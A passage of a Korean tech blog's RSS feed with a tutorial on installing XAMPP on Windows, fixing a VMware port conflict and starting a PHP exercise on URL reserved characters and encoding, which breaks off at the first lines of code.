&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88&lt;/a&gt;&lt;/p&gt;</description>
      <category>웹 해킹/웹 기초 지식</category>
      <category>get</category>
      <category>HTTP</category>
      <category>OSI 7 계층</category>
      <category>POST</category>
      <category>TCP/IP</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/195</guid>
      <comments>https://it-log.tistory.com/195#entry195comment</comments>
      <pubDate>Fri, 8 Nov 2024 22:00:39 +0900</pubDate>
    </item>
    <item>
      <title>XAMPP 설치 및 URL 예약문자,  URL 인코딩 실습</title>
      <link>https://it-log.tistory.com/194</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;XAMPP 설치&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;윈도우&amp;nbsp;환경에&amp;nbsp;APM&amp;nbsp;환경&amp;nbsp;구축&amp;nbsp;(Apache&amp;nbsp;+&amp;nbsp;PHP&amp;nbsp;+&amp;nbsp;MySQL)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;Apache, MySQL, PHP, phpMyAdmin(MySQL 을 웹 기반으로 관리하는 프로그램)&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;구글에서 -&amp;nbsp;xampp&amp;nbsp;검색&amp;nbsp;(Apache&amp;nbsp;+&amp;nbsp;MariaDB&amp;nbsp;+&amp;nbsp;PHP&amp;nbsp;+&amp;nbsp;Perl)&lt;/span&gt;&lt;br /&gt;&lt;a href=&quot;https://www.apachefriends.org/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.apachefriends.org/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;XAMPP&amp;nbsp;for&amp;nbsp;Windows&amp;nbsp;클릭하여&amp;nbsp;다운로드&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1102&quot; data-origin-height=&quot;766&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pjb6E/btsKzdf7BQU/RPmEhfdfDzKXxDCefJ9KS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pjb6E/btsKzdf7BQU/RPmEhfdfDzKXxDCefJ9KS1/img.png&quot; data-alt=&quot;그림1 - XAMPP Windows 설치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pjb6E/btsKzdf7BQU/RPmEhfdfDzKXxDCefJ9KS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fpjb6E%2FbtsKzdf7BQU%2FRPmEhfdfDzKXxDCefJ9KS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1102&quot; height=&quot;766&quot; data-origin-width=&quot;1102&quot; data-origin-height=&quot;766&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - XAMPP Windows 설치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;APM Setup 은 현재 업데이트를 진행하지 않아 설치하지 말 것! - 악의적인 용도로 사용하는 공격자들이 있음&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;Installer&amp;nbsp;실행&amp;nbsp;시&amp;nbsp;UAC&amp;nbsp;(User&amp;nbsp;Account&amp;nbsp;Control)&amp;nbsp;알람이&amp;nbsp;뜸&amp;nbsp;-&amp;nbsp;OK&amp;nbsp;누르고&amp;nbsp;진행&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;498&quot; data-origin-height=&quot;413&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/99A8g/btsKyGXnKND/mCVpMqMJvb5LC2Y69ygdRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/99A8g/btsKyGXnKND/mCVpMqMJvb5LC2Y69ygdRK/img.png&quot; data-alt=&quot;그림2 - XAMPP 설치(1)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/99A8g/btsKyGXnKND/mCVpMqMJvb5LC2Y69ygdRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F99A8g%2FbtsKyGXnKND%2FmCVpMqMJvb5LC2Y69ygdRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;498&quot; height=&quot;413&quot; data-origin-width=&quot;498&quot; data-origin-height=&quot;413&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - XAMPP 설치(1)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;494&quot; data-origin-height=&quot;411&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cBdd1z/btsKylFZPrN/wVPx6Ym2VtCJpk54kM1mmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cBdd1z/btsKylFZPrN/wVPx6Ym2VtCJpk54kM1mmK/img.png&quot; data-alt=&quot;그림3 - XAMPP 설치(2)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cBdd1z/btsKylFZPrN/wVPx6Ym2VtCJpk54kM1mmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcBdd1z%2FbtsKylFZPrN%2FwVPx6Ym2VtCJpk54kM1mmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;494&quot; height=&quot;411&quot; data-origin-width=&quot;494&quot; data-origin-height=&quot;411&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - XAMPP 설치(2)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;495&quot; data-origin-height=&quot;412&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/drH2QW/btsKzkzkzuM/0mJMXswlohoSgnhJ4QtaP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/drH2QW/btsKzkzkzuM/0mJMXswlohoSgnhJ4QtaP1/img.png&quot; data-alt=&quot;그림4 - XMAPP 설치(3)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/drH2QW/btsKzkzkzuM/0mJMXswlohoSgnhJ4QtaP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdrH2QW%2FbtsKzkzkzuM%2F0mJMXswlohoSgnhJ4QtaP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;495&quot; height=&quot;412&quot; data-origin-width=&quot;495&quot; data-origin-height=&quot;412&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림4 - XMAPP 설치(3)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;Next 눌러서 진행, 설치 위치: C:\xampp&amp;nbsp;&amp;nbsp;(보안 상 수정해야 하지만 그대로 진행)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;Next 계속 눌러서 진행&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;611&quot; data-origin-height=&quot;427&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z0cPj/btsKxV1QpYx/7E7geMkUXHK8t97cimF3Mk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z0cPj/btsKxV1QpYx/7E7geMkUXHK8t97cimF3Mk/img.png&quot; data-alt=&quot;그림5 - XAMPP 설치(4)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z0cPj/btsKxV1QpYx/7E7geMkUXHK8t97cimF3Mk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz0cPj%2FbtsKxV1QpYx%2F7E7geMkUXHK8t97cimF3Mk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;611&quot; height=&quot;427&quot; data-origin-width=&quot;611&quot; data-origin-height=&quot;427&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림5 - XAMPP 설치(4)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;홈 네트워크 클릭 후 액세스 허용 클릭&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;499&quot; data-origin-height=&quot;415&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o4r4G/btsKymrmeRH/5GnGUvWCWJgdSi1rL4kuKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o4r4G/btsKymrmeRH/5GnGUvWCWJgdSi1rL4kuKk/img.png&quot; data-alt=&quot;그림6 - XAMPP 설치(5)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o4r4G/btsKymrmeRH/5GnGUvWCWJgdSi1rL4kuKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo4r4G%2FbtsKymrmeRH%2F5GnGUvWCWJgdSi1rL4kuKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;499&quot; height=&quot;415&quot; data-origin-width=&quot;499&quot; data-origin-height=&quot;415&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림6 - XAMPP 설치(5)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;Finish 클릭 후 XAMPP 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;다양한&amp;nbsp;프로그램&amp;nbsp;설치&amp;nbsp;시&amp;nbsp;서로&amp;nbsp;사용하는&amp;nbsp;포트가&amp;nbsp;충돌하는&amp;nbsp;경우가&amp;nbsp;있어서&amp;nbsp;수정해야&amp;nbsp;하는&amp;nbsp;경우도&amp;nbsp;있음&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 경우 Config 에서 포트를 변경해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;XAMPP&amp;nbsp;Control&amp;nbsp;Panel&amp;nbsp;이&amp;nbsp;뜬다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;665&quot; data-origin-height=&quot;432&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1EwCi/btsKzo2AHXe/XfqkA3vIfRDfeKg0z7e5W0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1EwCi/btsKzo2AHXe/XfqkA3vIfRDfeKg0z7e5W0/img.png&quot; data-alt=&quot;그림7 - XAMPP 컨트롤 패널&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1EwCi/btsKzo2AHXe/XfqkA3vIfRDfeKg0z7e5W0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1EwCi%2FbtsKzo2AHXe%2FXfqkA3vIfRDfeKg0z7e5W0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;665&quot; height=&quot;432&quot; data-origin-width=&quot;665&quot; data-origin-height=&quot;432&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림7 - XAMPP 컨트롤 패널&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;Apache&amp;nbsp;와&amp;nbsp;MySQL&amp;nbsp;의&amp;nbsp;Actions&amp;nbsp;를&amp;nbsp;Start&amp;nbsp;를&amp;nbsp;누르면&amp;nbsp;초록색으로&amp;nbsp;변경되면서&amp;nbsp;실행된다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;무언가&amp;nbsp;에러가&amp;nbsp;발생하면(포트&amp;nbsp;중복&amp;nbsp;등),&amp;nbsp;우측에&amp;nbsp;Config&amp;nbsp;클릭&amp;nbsp;-&amp;nbsp;Service&amp;nbsp;and&amp;nbsp;Port&amp;nbsp;Settings&amp;nbsp;-&amp;nbsp;각&amp;nbsp;프로그램의&amp;nbsp;포트&amp;nbsp;변경이&amp;nbsp;가능하다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그림7 같은 경우는 기존에 VMware 사용으로 인한 443 포트 중복으로 인해 포트를 변경해주어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포트 변경 방법에는 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;Apache (httpd.conf)&lt;span&gt; 파일을 통한 변경과, 중복된 VMware 에서 설정을 통해 포트를 변경하는 방법이 있는데, VMware의 HTTPS 포트를 변경하는 방법을 사용했다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;VMware 변경 방법은 아래 블로그에서 참고하였다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://webdir.tistory.com/380&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://webdir.tistory.com/380&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMware 실행 후 Edit &amp;gt; Preference &amp;gt; Shared VMs&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 443 포트를 11443으로 변경 후 설정을 저장한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;579&quot; data-origin-height=&quot;493&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LKxKV/btsKxP1wxdn/4AclH1Oc7e1zMFw6YMswp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LKxKV/btsKxP1wxdn/4AclH1Oc7e1zMFw6YMswp0/img.png&quot; data-alt=&quot;그림8 - VMware HTTPS 포트 변경&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LKxKV/btsKxP1wxdn/4AclH1Oc7e1zMFw6YMswp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLKxKV%2FbtsKxP1wxdn%2F4AclH1Oc7e1zMFw6YMswp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;579&quot; height=&quot;493&quot; data-origin-width=&quot;579&quot; data-origin-height=&quot;493&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림8 - VMware HTTPS 포트 변경&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정 완료 후, XAMPP를 다시 시작하여 Apache와 MySQL을 Start 클릭하여 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;초록불이 들어오면 정상 실행이 가능하다는 의미다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;665&quot; data-origin-height=&quot;431&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mT7ZL/btsKzrLQiyK/fy0E4DsNiKWg8wrjxsKEn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mT7ZL/btsKzrLQiyK/fy0E4DsNiKWg8wrjxsKEn0/img.png&quot; data-alt=&quot;그림9 - XAMPP 로 Apache MySQL 실행&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mT7ZL/btsKzrLQiyK/fy0E4DsNiKWg8wrjxsKEn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmT7ZL%2FbtsKzrLQiyK%2Ffy0E4DsNiKWg8wrjxsKEn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;665&quot; height=&quot;431&quot; data-origin-width=&quot;665&quot; data-origin-height=&quot;431&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림9 - XAMPP 로 Apache MySQL 실행&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;인터넷&amp;nbsp;주소창에&amp;nbsp;http://localhost/&amp;nbsp;입력하여&amp;nbsp;접속&amp;nbsp;-&amp;nbsp;Apache&amp;nbsp;관련&amp;nbsp;페이지&amp;nbsp;뜬다&amp;nbsp;(Apache&amp;nbsp;정상&amp;nbsp;접속&amp;nbsp;확인)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1668&quot; data-origin-height=&quot;896&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QbJZT/btsKzJyImy7/LsV8u9F7SKrCJF3GaKCZo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QbJZT/btsKzJyImy7/LsV8u9F7SKrCJF3GaKCZo0/img.png&quot; data-alt=&quot;그림10 - localhost 접속&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QbJZT/btsKzJyImy7/LsV8u9F7SKrCJF3GaKCZo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQbJZT%2FbtsKzJyImy7%2FLsV8u9F7SKrCJF3GaKCZo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1668&quot; height=&quot;896&quot; data-origin-width=&quot;1668&quot; data-origin-height=&quot;896&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림10 - localhost 접속&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;인터넷&amp;nbsp;주소창에&amp;nbsp;http://localhost/phpmyadmin/&amp;nbsp;입력하여&amp;nbsp;접속하면&amp;nbsp;phpmyadmin&amp;nbsp;페이지가&amp;nbsp;접속된다.&amp;nbsp;(phpmyadmin&amp;nbsp;정상&amp;nbsp;접속&amp;nbsp;확인)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;996&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRpGQC/btsKxslazvb/5gaUywyIK2T0VLvvIKIvy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRpGQC/btsKxslazvb/5gaUywyIK2T0VLvvIKIvy1/img.png&quot; data-alt=&quot;그림11 - phpmyadmin 페이지 접속&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRpGQC/btsKxslazvb/5gaUywyIK2T0VLvvIKIvy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRpGQC%2FbtsKxslazvb%2F5gaUywyIK2T0VLvvIKIvy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;996&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;996&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림11 - phpmyadmin 페이지 접속&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;URL 예약문자, URL 인코딩 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XAMPP 설치 완료 후 php 파일 작성을 위해 노트 패드를 설치한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;구글에&amp;nbsp;notepad++&amp;nbsp;검색하여&amp;nbsp;다운로드&lt;/span&gt;&lt;br /&gt;&lt;a href=&quot;https://notepad-plus-plus.org/downloads/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://notepad-plus-plus.org/downloads/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;기본 설정으로 설치 진행, 설치 완료 후 test.php 를 작성한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윈도우에서 XAMPP 설치 시 웹 서버 기본 루트는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;저장 위치: C:\xampp\htdocs&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353638;&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;htdocs 폴더에 example 라는 새 폴더를 만든다.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353638;&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;test.php 파일을 생성한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353638;&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;저장 위치: C:\xampp\htdocs\example&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353638;&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;노트패드로 편집 클릭&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;817&quot; data-origin-height=&quot;142&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cRQnzQ/btsKz4WROIm/tL6v7iQs97wJd2irOba841/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cRQnzQ/btsKz4WROIm/tL6v7iQs97wJd2irOba841/img.png&quot; data-alt=&quot;그림12 - 노트패드로 test.php 편집&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cRQnzQ/btsKz4WROIm/tL6v7iQs97wJd2irOba841/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcRQnzQ%2FbtsKz4WROIm%2FtL6v7iQs97wJd2irOba841%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;817&quot; height=&quot;142&quot; data-origin-width=&quot;817&quot; data-origin-height=&quot;142&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림12 - 노트패드로 test.php 편집&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 코드를 작성한다.&lt;/p&gt;
&lt;pre id=&quot;code_1730890527748&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
	$val1 = $_GET[&quot;val1&quot;];
	$val2 = $_GET[&quot;val2&quot;];
	$val3 = $_GET[&quot;val3&quot;];
